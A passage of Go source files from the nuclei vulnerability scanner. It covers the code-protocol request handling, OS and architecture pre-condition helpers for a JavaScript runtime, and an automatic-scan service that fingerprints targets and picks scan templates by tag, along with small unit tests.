\\n)\n\tdata[\"input\"] = input.MetaInput.Input\n\tdata[\"template-path\"] = request.options.TemplatePath\n\tdata[\"template-id\"] = request.options.TemplateID\n\tdata[\"template-info\"] = request.options.TemplateInfo\n\tif gOutput.Stderr.Len() > 0 {\n\t\tdata[\"stderr\"] = fmtStdout(gOutput.Stderr.String())\n\t}\n\n\t// expose response variables in proto_var format\n\t// this is no-op if the template is not a multi protocol template\n\trequest.options.AddTemplateVars(input.MetaInput, request.Type(), request.ID, data)\n\n\t// add variables from template context before matching/extraction\n\tif request.options.HasTemplateCtx(input.MetaInput) {\n\t\tdata = generators.MergeMaps(data, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\t}\n\n\tif request.options.Interactsh != nil {\n\t\trequest.options.Interactsh.MakePlaceholders(interactshURLs, data)\n\t}\n\n\t// todo #1: interactsh async callback should be eliminated as it lead to ton of code duplication\n\t// todo #2: various structs InternalWrappedEvent, InternalEvent should be unwrapped and merged into minimal callbacks and a unique struct (eg. event?)\n\tevent := eventcreator.CreateEvent(request, data, request.options.Options.Debug || request.options.Options.DebugResponse)\n\tif request.options.Interactsh != nil {\n\t\tevent.UsesInteractsh = true\n\t\trequest.options.Interactsh.RequestEvent(interactshURLs, &interactsh.RequestData{\n\t\t\tMakeResultFunc: request.MakeResultEvent,\n\t\t\tEvent:          event,\n\t\t\tOperators:      request.CompiledOperators,\n\t\t\tMatchFunc:      request.Match,\n\t\t\tExtractFunc:    request.Extract,\n\t\t})\n\t}\n\n\tif request.options.Options.Debug || request.options.Options.DebugResponse || request.options.Options.StoreResponse {\n\t\tmsg := fmt.Sprintf(\"[%s] Dumped Code Execution for %s\\n\\n\", request.options.TemplateID, input.MetaInput.Input)\n\t\tif request.options.Options.Debug || request.options.Options.DebugResponse {\n\t\t\tgologger.Debug().Msg(msg)\n\t\t\tgologger.Print().Msgf(\"%s\\n\\n\", responsehighlighter.Highlight(event.OperatorsResult, dataOutputString, request.options.Options.NoColor, false))\n\t\t}\n\t\tif request.options.Options.StoreResponse {\n\t\t\trequest.options.Output.WriteStoreDebugData(input.MetaInput.Input, request.options.TemplateID, request.Type().String(), fmt.Sprintf(\"%s\\n%s\", msg, dataOutputString))\n\t\t}\n\t}\n\n\tcallback(event)\n\n\treturn nil\n}\n\n// RequestPartDefinitions contains a mapping of request part definitions and their\n// description. Multiple definitions are separated by commas.\n// Definitions not having a name (generated on runtime) are prefixed & suffixed by <>.\nvar RequestPartDefinitions = map[string]string{\n\t\"type\":    \"Type is the type of request made\",\n\t\"host\":    \"Host is the input to the template\",\n\t\"matched\": \"Matched is the input which was matched upon\",\n}\n\n// Match performs matching operation for a matcher on model and returns:\n// true and a list of matched snippets if the matcher type is supports it\n// otherwise false and an empty string slice\nfunc (request *Request) Match(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {\n\treturn protocols.MakeDefaultMatchFunc(data, matcher)\n}\n\n// Extract performs extracting operation for an extractor on model and returns true or false.\nfunc (request *Request) Extract(data map[string]interface{}, matcher *extractors.Extractor) map[string]struct{} {\n\treturn protocols.MakeDefaultExtractFunc(data, matcher)\n}\n\n// MakeResultEvent creates a result event from internal wrapped event\nfunc (request *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent {\n\treturn protocols.MakeDefaultResultEvent(request, wrapped)\n}\n\n// GetCompiledOperators returns a list of the compiled operators\nfunc (request *Request) GetCompiledOperators() []*operators.Operators {\n\treturn []*operators.Operators{request.CompiledOperators}\n}\n\n// Type returns the type of the protocol request\nfunc (request *Request) Type() templateTypes.ProtocolType {\n\treturn templateTypes.CodeProtocol\n}\n\nfunc (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {\n\tfields := protocolutils.GetJsonFieldsFromURL(types.ToString(wrapped.InternalEvent[\"input\"]))\n\tif types.ToString(wrapped.InternalEvent[\"ip\"]) != \"\" {\n\t\tfields.Ip = types.ToString(wrapped.InternalEvent[\"ip\"])\n\t}\n\tdata := &output.ResultEvent{\n\t\tTemplateID:       types.ToString(request.options.TemplateID),\n\t\tTemplatePath:     types.ToString(request.options.TemplatePath),\n\t\tInfo:             request.options.TemplateInfo,\n\t\tTemplateVerifier: request.options.TemplateVerifier,\n\t\tType:             types.ToString(wrapped.InternalEvent[\"type\"]),\n\t\tMatched:          types.ToString(wrapped.InternalEvent[\"input\"]),\n\t\tHost:             fields.Host,\n\t\tPort:             fields.Port,\n\t\tScheme:           fields.Scheme,\n\t\tURL:              fields.URL,\n\t\tIP:               fields.Ip,\n\t\tMetadata:         wrapped.OperatorsResult.PayloadValues,\n\t\tExtractedResults: wrapped.OperatorsResult.OutputExtracts,\n\t\tTimestamp:        time.Now(),\n\t\tMatcherStatus:    true,\n\t\tTemplateEncoded:  request.options.EncodeTemplate(),\n\t\tError:            types.ToString(wrapped.InternalEvent[\"error\"]),\n\t}\n\treturn data\n}\n\nfunc fmtStdout(data string) string {\n\treturn strings.Trim(data, \" \\n\\r\\t\")\n}\n\n// interpretEnvVars replaces environment variables in the input string\nfunc interpretEnvVars(source string, vars map[string]interface{}) string {\n\t// bash mode\n\tif strings.Contains(source, \"$\") {\n\t\tfor k, v := range vars {\n\t\t\tsource = strings.ReplaceAll(source, \"$\"+k, fmt.Sprintf(\"%s\", v))\n\t\t}\n\t}\n\t// python mode\n\tif strings.Contains(source, \"os.getenv\") {\n\t\tmatches := pythonEnvRegexCompiled.FindAllStringSubmatch(source, -1)\n\t\tfor _, match := range matches {\n\t\t\tif len(match) == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tsource = strings.ReplaceAll(source, fmt.Sprintf(\"os.getenv('%s')\", match), fmt.Sprintf(\"'%s'\", vars[match[0]]))\n\t\t}\n\t}\n\treturn source\n}\n\nfunc beautifyJavascript(code string) string {\n\topts := jsbeautifier.DefaultOptions()\n\tbeautified, err := jsbeautifier.Beautify(&code, opts)\n\tif err != nil {\n\t\treturn code\n\t}\n\treturn beautified\n}\n\nfunc prettyPrint(templateId string, buff string) {\n\tlines := strings.Split(buff, \"\\n\")\n\tfinal := []string{}\n\tfor _, v := range lines {\n\t\tif v != \"\" {\n\t\t\tfinal = append(final, \"\\t\"+v)\n\t\t}\n\t}\n\tgologger.Debug().Msgf(\" [%v] Pre-condition Code:\\n\\n%v\\n\\n\", templateId, strings.Join(final, \"\\n\"))\n}\n\n// UpdateOptions replaces this request's options with a new copy\nfunc (r *Request) UpdateOptions(opts *protocols.ExecutorOptions) {\n\tr.options.ApplyNewEngineOptions(opts)\n}\n\nfunc (r *Request) useSandbox() bool {\n\treturn r.Sandbox != nil && r.Sandbox.Image != \"\"\n}\n"
  },
  {
    "path": "pkg/protocols/code/code_test.go",
    "content": "//go:build linux || darwin\n\npackage code\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc TestCodeProtocol(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-code\"\n\trequest := &Request{\n\t\tEngine: []string{\"sh\"},\n\t\tSource: \"echo test\",\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile code request\")\n\n\tvar gotEvent output.InternalEvent\n\tctxArgs := contextargs.NewWithInput(context.Background(), \"\")\n\terr = request.ExecuteWithResults(ctxArgs, nil, nil, func(event *output.InternalWrappedEvent) {\n\t\tgotEvent = event.InternalEvent\n\t})\n\trequire.Nil(t, err, \"could not run code request\")\n\trequire.NotEmpty(t, gotEvent, \"could not get event items\")\n}\n"
  },
  {
    "path": "pkg/protocols/code/helpers.go",
    "content": "package code\n\nimport (\n\tgoruntime \"runtime\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n\tosutils \"github.com/projectdiscovery/utils/os\"\n)\n\n// registerPreConditionFunctions registers the pre-condition functions\nfunc registerPreConditionFunctions(runtime *goja.Runtime) error {\n\t// Note: the only reason we are not using forloop to generate these functions is because\n\t// 'scrapefuncs' uses this function to find all dsl helper functions  and document them.\n\n\t// === OS ===\n\terr := gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"OS\",\n\t\tSignatures: []string{\n\t\t\t\"OS() string\",\n\t\t},\n\t\tDescription: \"OS returns the current OS\",\n\t\tFuncDecl: func() string {\n\t\t\treturn goruntime.GOOS\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// IsLinux checks if the current OS is Linux\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"IsLinux\",\n\t\tSignatures: []string{\n\t\t\t\"IsLinux() bool\",\n\t\t},\n\t\tDescription: \"IsLinux checks if the current OS is Linux\",\n\t\tFuncDecl: func() bool {\n\t\t\treturn osutils.IsLinux()\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// IsWindows checks if the current OS is Windows\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"IsWindows\",\n\t\tSignatures: []string{\n\t\t\t\"IsWindows() bool\",\n\t\t},\n\t\tDescription: \"IsWindows checks if the current OS is Windows\",\n\t\tFuncDecl: func() bool {\n\t\t\treturn osutils.IsWindows()\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// IsOSX checks if the current OS is OSX\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"IsOSX\",\n\t\tSignatures: []string{\n\t\t\t\"IsOSX() bool\",\n\t\t},\n\t\tDescription: \"IsOSX checks if the current OS is OSX\",\n\n\t\tFuncDecl: func() bool {\n\t\t\treturn osutils.IsOSX()\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// IsAndroid checks if the current OS is Android\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"IsAndroid\",\n\t\tSignatures: []string{\n\t\t\t\"IsAndroid() bool\",\n\t\t},\n\t\tDescription: \"IsAndroid checks if the current OS is Android\",\n\t\tFuncDecl: func() bool {\n\t\t\treturn osutils.IsAndroid()\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// IsIOS checks if the current OS is IOS\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"IsIOS\",\n\t\tSignatures: []string{\n\t\t\t\"IsIOS() bool\",\n\t\t},\n\t\tDescription: \"IsIOS checks if the current OS is IOS\",\n\t\tFuncDecl: func() bool {\n\t\t\treturn osutils.IsIOS()\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// IsJS checks if the current OS is JS\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"IsJS\",\n\t\tSignatures: []string{\n\t\t\t\"IsJS() bool\",\n\t\t},\n\t\tDescription: \"IsJS checks if the current OS is JS\",\n\t\tFuncDecl: func() bool {\n\t\t\treturn osutils.IsJS()\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// IsFreeBSD checks if the current OS is FreeBSD\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"IsFreeBSD\",\n\t\tSignatures: []string{\n\t\t\t\"IsFreeBSD() bool\",\n\t\t},\n\t\tDescription: \"IsFreeBSD checks if the current OS is FreeBSD\",\n\t\tFuncDecl: func() bool {\n\t\t\treturn osutils.IsFreeBSD()\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// IsOpenBSD checks if the current OS is OpenBSD\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"IsOpenBSD\",\n\t\tSignatures: []string{\n\t\t\t\"IsOpenBSD() bool\",\n\t\t},\n\t\tDescription: \"IsOpenBSD checks if the current OS is OpenBSD\",\n\t\tFuncDecl: func() bool {\n\t\t\treturn osutils.IsOpenBSD()\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// IsSolaris checks if the current OS is Solaris\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"IsSolaris\",\n\t\tSignatures: []string{\n\t\t\t\"IsSolaris() bool\",\n\t\t},\n\t\tDescription: \"IsSolaris checks if the current OS is Solaris\",\n\t\tFuncDecl: func() bool {\n\t\t\treturn osutils.IsSolaris()\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// === Arch ===\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"Arch\",\n\t\tSignatures: []string{\n\t\t\t\"Arch() string\",\n\t\t},\n\t\tDescription: \"Arch returns the current architecture\",\n\t\tFuncDecl: func() string {\n\t\t\treturn goruntime.GOARCH\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"Is386\",\n\t\tSignatures: []string{\n\t\t\t\"Is386() bool\",\n\t\t},\n\t\tDescription: \"Is386 checks if the current architecture is 386\",\n\t\tFuncDecl: func() bool {\n\t\t\treturn osutils.Is386()\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"IsAmd64\",\n\t\tSignatures: []string{\n\t\t\t\"IsAmd64() bool\",\n\t\t},\n\t\tDescription: \"IsAmd64 checks if the current architecture is Amd64\",\n\t\tFuncDecl: func() bool {\n\t\t\treturn osutils.IsAmd64()\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"IsARM\",\n\t\tSignatures: []string{\n\t\t\t\"IsARM() bool\",\n\t\t},\n\t\tDescription: \"IsArm checks if the current architecture is Arm\",\n\t\tFuncDecl: func() bool {\n\t\t\treturn osutils.IsARM()\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"IsARM64\",\n\t\tSignatures: []string{\n\t\t\t\"IsARM64() bool\",\n\t\t},\n\t\tDescription: \"IsArm64 checks if the current architecture is Arm64\",\n\t\tFuncDecl: func() bool {\n\t\t\treturn osutils.IsARM64()\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"IsWasm\",\n\t\tSignatures: []string{\n\t\t\t\"IsWasm() bool\",\n\t\t},\n\t\tDescription: \"IsWasm checks if the current architecture is Wasm\",\n\t\tFuncDecl: func() bool {\n\t\t\treturn osutils.IsWasm()\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc cleanUpPreConditionFunctions(runtime *goja.Runtime) {\n\t_ = runtime.GlobalObject().Delete(\"OS\")\n\t_ = runtime.GlobalObject().Delete(\"IsLinux\")\n\t_ = runtime.GlobalObject().Delete(\"IsWindows\")\n\t_ = runtime.GlobalObject().Delete(\"IsOSX\")\n\t_ = runtime.GlobalObject().Delete(\"IsAndroid\")\n\t_ = runtime.GlobalObject().Delete(\"IsIOS\")\n\t_ = runtime.GlobalObject().Delete(\"IsJS\")\n\t_ = runtime.GlobalObject().Delete(\"IsFreeBSD\")\n\t_ = runtime.GlobalObject().Delete(\"IsOpenBSD\")\n\t_ = runtime.GlobalObject().Delete(\"IsSolaris\")\n\t_ = runtime.GlobalObject().Delete(\"Arch\")\n\t_ = runtime.GlobalObject().Delete(\"Is386\")\n\t_ = runtime.GlobalObject().Delete(\"IsAmd64\")\n\t_ = runtime.GlobalObject().Delete(\"IsARM\")\n\t_ = runtime.GlobalObject().Delete(\"IsARM64\")\n\t_ = runtime.GlobalObject().Delete(\"IsWasm\")\n}\n"
  },
  {
    "path": "pkg/protocols/common/automaticscan/automaticscan.go",
    "content": "package automaticscan\n\nimport (\n\t\"context\"\n\t\"io\"\n\t\"net/http\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/core\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/provider\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/writer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool\"\n\thttputil \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils/http\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/useragent\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n\tunitutils \"github.com/projectdiscovery/utils/unit\"\n\twappalyzer \"github.com/projectdiscovery/wappalyzergo\"\n\t\"gopkg.in/yaml.v2\"\n)\n\nconst (\n\tmappingFilename = \"wappalyzer-mapping.yml\"\n\tmaxDefaultBody  = 4 * unitutils.Mega\n)\n\n// Options contains configuration options for automatic scan service\ntype Options struct {\n\tExecuterOpts *protocols.ExecutorOptions\n\tStore        *loader.Store\n\tEngine       *core.Engine\n\tTarget       provider.InputProvider\n}\n\n// Service is a service for automatic scan execution\ntype Service struct {\n\topts               *protocols.ExecutorOptions\n\tstore              *loader.Store\n\tengine             *core.Engine\n\ttarget             provider.InputProvider\n\twappalyzer         *wappalyzer.Wappalyze\n\thttpclient         *retryablehttp.Client\n\ttemplateDirs       []string // root Template Directories\n\ttechnologyMappings map[string]string\n\ttechTemplates      []*templates.Template\n\tServiceOpts        Options\n\thasResults         *atomic.Bool\n}\n\n// New takes options and returns a new automatic scan service\nfunc New(opts Options) (*Service, error) {\n\twappalyzer, err := wappalyzer.New()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// load extra mapping from nuclei-templates for normalization\n\tvar mappingData map[string]string\n\tmappingFile := filepath.Join(config.DefaultConfig.GetTemplateDir(), mappingFilename)\n\tif file, err := os.Open(mappingFile); err == nil {\n\t\t_ = yaml.NewDecoder(file).Decode(&mappingData)\n\t\t_ = file.Close()\n\t}\n\tif opts.ExecuterOpts.Options.Verbose {\n\t\tgologger.Verbose().Msgf(\"Normalized mapping (%d): %v\\n\", len(mappingData), mappingData)\n\t}\n\n\t// get template directories\n\ttemplateDirs, err := getTemplateDirs(opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// load tech detect templates\n\ttechDetectTemplates, err := LoadTemplatesWithTags(opts, templateDirs, []string{\"tech\", \"detect\", \"favicon\"}, true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\thttpclient, err := httpclientpool.Get(opts.ExecuterOpts.Options, &httpclientpool.Configuration{\n\t\tConnection: &httpclientpool.ConnectionConfiguration{\n\t\t\tDisableKeepAlive: httputil.ShouldDisableKeepAlive(opts.ExecuterOpts.Options),\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not get http client\")\n\t}\n\treturn &Service{\n\t\topts:               opts.ExecuterOpts,\n\t\tstore:              opts.Store,\n\t\tengine:             opts.Engine,\n\t\ttarget:             opts.Target,\n\t\twappalyzer:         wappalyzer,\n\t\ttemplateDirs:       templateDirs, // fix this\n\t\thttpclient:         httpclient,\n\t\ttechnologyMappings: mappingData,\n\t\ttechTemplates:      techDetectTemplates,\n\t\tServiceOpts:        opts,\n\t\thasResults:         &atomic.Bool{},\n\t}, nil\n}\n\n// Close closes the service\nfunc (s *Service) Close() bool {\n\treturn s.hasResults.Load()\n}\n\n// Execute automatic scan on each target with -bs host concurrency\nfunc (s *Service) Execute() error {\n\tgologger.Info().Msgf(\"Executing Automatic scan on %d target[s]\", s.target.Count())\n\t// setup host concurrency\n\tsg, err := syncutil.New(syncutil.WithSize(s.opts.Options.BulkSize))\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.target.Iterate(func(value *contextargs.MetaInput) bool {\n\t\tsg.Add()\n\t\tgo func(input *contextargs.MetaInput) {\n\t\t\tdefer sg.Done()\n\t\t\ts.executeAutomaticScanOnTarget(input)\n\t\t}(value)\n\t\treturn true\n\t})\n\tsg.Wait()\n\treturn nil\n}\n\n// executeAutomaticScanOnTarget executes automatic scan on given target\nfunc (s *Service) executeAutomaticScanOnTarget(input *contextargs.MetaInput) {\n\t// get tags using wappalyzer\n\ttagsFromWappalyzer := s.getTagsUsingWappalyzer(input)\n\t// get tags using detection templates\n\ttagsFromDetectTemplates, matched := s.getTagsUsingDetectionTemplates(input)\n\tif matched > 0 {\n\t\ts.hasResults.Store(true)\n\t}\n\n\t// create combined final tags\n\tfinalTags := []string{}\n\tfor _, tags := range append(tagsFromWappalyzer, tagsFromDetectTemplates...) {\n\t\tif stringsutil.EqualFoldAny(tags, \"tech\", \"waf\", \"favicon\") {\n\t\t\tcontinue\n\t\t}\n\t\tfinalTags = append(finalTags, tags)\n\t}\n\tfinalTags = sliceutil.Dedupe(finalTags)\n\n\tgologger.Info().Msgf(\"Found %d tags and %d matches on detection templates on %v [wappalyzer: %d, detection: %d]\\n\", len(finalTags), matched, input.Input, len(tagsFromWappalyzer), len(tagsFromDetectTemplates))\n\n\t// also include any extra tags passed by user\n\tfinalTags = append(finalTags, s.opts.Options.Tags...)\n\tfinalTags = sliceutil.Dedupe(finalTags)\n\n\tif len(finalTags) == 0 {\n\t\tgologger.Warning().Msgf(\"Skipping automatic scan since no tags were found on %v\\n\", input.Input)\n\t\treturn\n\t}\n\tif s.opts.Options.VerboseVerbose {\n\t\tgologger.Print().Msgf(\"Final tags identified for %v: %+v\\n\", input.Input, finalTags)\n\t}\n\n\tfinalTemplates, err := LoadTemplatesWithTags(s.ServiceOpts, s.templateDirs, finalTags, false)\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"%v Error loading templates: %s\\n\", input.Input, err)\n\t\treturn\n\t}\n\tgologger.Info().Msgf(\"Executing %d templates on %v\", len(finalTemplates), input.Input)\n\teng := core.New(s.opts.Options)\n\texecOptions := s.opts.Copy()\n\texecOptions.Progress = &testutils.MockProgressClient{} // stats are not supported yet due to centralized logic and cannot be reinitialized\n\teng.SetExecuterOptions(execOptions)\n\n\ttmp := eng.ExecuteScanWithOpts(context.Background(), finalTemplates, provider.NewSimpleInputProviderWithUrls(s.opts.Options.ExecutionId, input.Input), true)\n\ts.hasResults.Store(tmp.Load())\n}\n\n// getTagsUsingWappalyzer returns tags using wappalyzer by fingerprinting target\n// and utilizing the mapping data\nfunc (s *Service) getTagsUsingWappalyzer(input *contextargs.MetaInput) []string {\n\treq, err := retryablehttp.NewRequest(http.MethodGet, input.Input, nil)\n\tif err != nil {\n\t\treturn nil\n\t}\n\tuserAgent := useragent.PickRandom()\n\treq.Header.Set(\"User-Agent\", userAgent.Raw)\n\n\tresp, err := s.httpclient.Do(req)\n\tif err != nil {\n\t\treturn nil\n\t}\n\tdefer func() {\n\t\t_ = resp.Body.Close()\n\t}()\n\tdata, err := io.ReadAll(io.LimitReader(resp.Body, maxDefaultBody))\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\t// fingerprint headers and body\n\tfingerprints := s.wappalyzer.Fingerprint(resp.Header, data)\n\tnormalized := make(map[string]struct{})\n\tfor k := range fingerprints {\n\t\tnormalized[normalizeAppName(k)] = struct{}{}\n\t}\n\tgologger.Verbose().Msgf(\"Found %d fingerprints for %s\\n\", len(normalized), input.Input)\n\n\t// normalize fingerprints using mapping data\n\tfor k := range normalized {\n\t\t// Replace values with mapping data\n\t\tif value, ok := s.technologyMappings[k]; ok {\n\t\t\tdelete(normalized, k)\n\t\t\tnormalized[value] = struct{}{}\n\t\t}\n\t}\n\t// more post processing\n\titems := make([]string, 0, len(normalized))\n\tfor k := range normalized {\n\t\tif strings.Contains(k, \" \") {\n\t\t\tparts := strings.Split(strings.ToLower(k), \" \")\n\t\t\titems = append(items, parts...)\n\t\t} else {\n\t\t\titems = append(items, strings.ToLower(k))\n\t\t}\n\t}\n\treturn sliceutil.Dedupe(items)\n}\n\n// getTagsUsingDetectionTemplates returns tags using detection templates\nfunc (s *Service) getTagsUsingDetectionTemplates(input *contextargs.MetaInput) ([]string, int) {\n\tctx := context.Background()\n\n\tctxArgs := contextargs.NewWithInput(ctx, input.Input)\n\n\t// execute tech detection templates on target\n\ttags := map[string]struct{}{}\n\tm := &sync.Mutex{}\n\tsg, _ := syncutil.New(syncutil.WithSize(s.opts.Options.TemplateThreads))\n\tcounter := atomic.Uint32{}\n\n\tfor _, t := range s.techTemplates {\n\t\tsg.Add()\n\t\tgo func(template *templates.Template) {\n\t\t\tdefer sg.Done()\n\t\t\tctx := scan.NewScanContext(ctx, ctxArgs)\n\t\t\tctx.OnResult = func(event *output.InternalWrappedEvent) {\n\t\t\t\tif event == nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif event.HasOperatorResult() {\n\t\t\t\t\t// match found\n\t\t\t\t\t// find unique tags\n\t\t\t\t\tm.Lock()\n\t\t\t\t\tfor _, v := range event.Results {\n\t\t\t\t\t\tif v.MatcherName != \"\" {\n\t\t\t\t\t\t\ttags[v.MatcherName] = struct{}{}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfor _, tag := range v.Info.Tags.ToSlice() {\n\t\t\t\t\t\t\t// we shouldn't add all tags since tags also contain protocol type tags\n\t\t\t\t\t\t\t// and are not just limited to products or technologies\n\t\t\t\t\t\t\t// ex:   tags: js,mssql,detect,network\n\n\t\t\t\t\t\t\t// A good trick for this is check if tag is present in template-id\n\t\t\t\t\t\t\tif !strings.Contains(template.ID, tag) && !strings.Contains(strings.ToLower(template.Info.Name), tag) {\n\t\t\t\t\t\t\t\t// unlikely this is relevant\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif _, ok := tags[tag]; !ok {\n\t\t\t\t\t\t\t\ttags[tag] = struct{}{}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// matcher names are also relevant in tech detection templates (ex: tech-detect)\n\t\t\t\t\t\t\tfor k := range event.OperatorsResult.Matches {\n\t\t\t\t\t\t\t\tif _, ok := tags[k]; !ok {\n\t\t\t\t\t\t\t\t\ttags[k] = struct{}{}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tm.Unlock()\n\t\t\t\t\t_ = counter.Add(1)\n\n\t\t\t\t\t// TBD: should we show or hide tech detection results? what about matcher-status flag?\n\t\t\t\t\t_ = writer.WriteResult(event, s.opts.Output, s.opts.Progress, s.opts.IssuesClient)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t_, err := template.Executer.ExecuteWithResults(ctx)\n\t\t\tif err != nil {\n\t\t\t\tgologger.Verbose().Msgf(\"[%s] error executing template: %s\\n\", aurora.BrightYellow(template.ID), err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}(t)\n\t}\n\tsg.Wait()\n\treturn mapsutil.GetKeys(tags), int(counter.Load())\n}\n\n// normalizeAppName normalizes app name\nfunc normalizeAppName(appName string) string {\n\tif strings.Contains(appName, \":\") {\n\t\tif parts := strings.Split(appName, \":\"); len(parts) == 2 {\n\t\t\tappName = parts[0]\n\t\t}\n\t}\n\treturn strings.ToLower(appName)\n}\n"
  },
  {
    "path": "pkg/protocols/common/automaticscan/automaticscan_test.go",
    "content": "package automaticscan\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNormalizeAppName(t *testing.T) {\n\tappName := normalizeAppName(\"JBoss\")\n\trequire.Equal(t, \"jboss\", appName, \"could not get normalized name\")\n\n\tappName = normalizeAppName(\"JBoss:2.3.5\")\n\trequire.Equal(t, \"jboss\", appName, \"could not get normalized name\")\n}\n"
  },
  {
    "path": "pkg/protocols/common/automaticscan/doc.go",
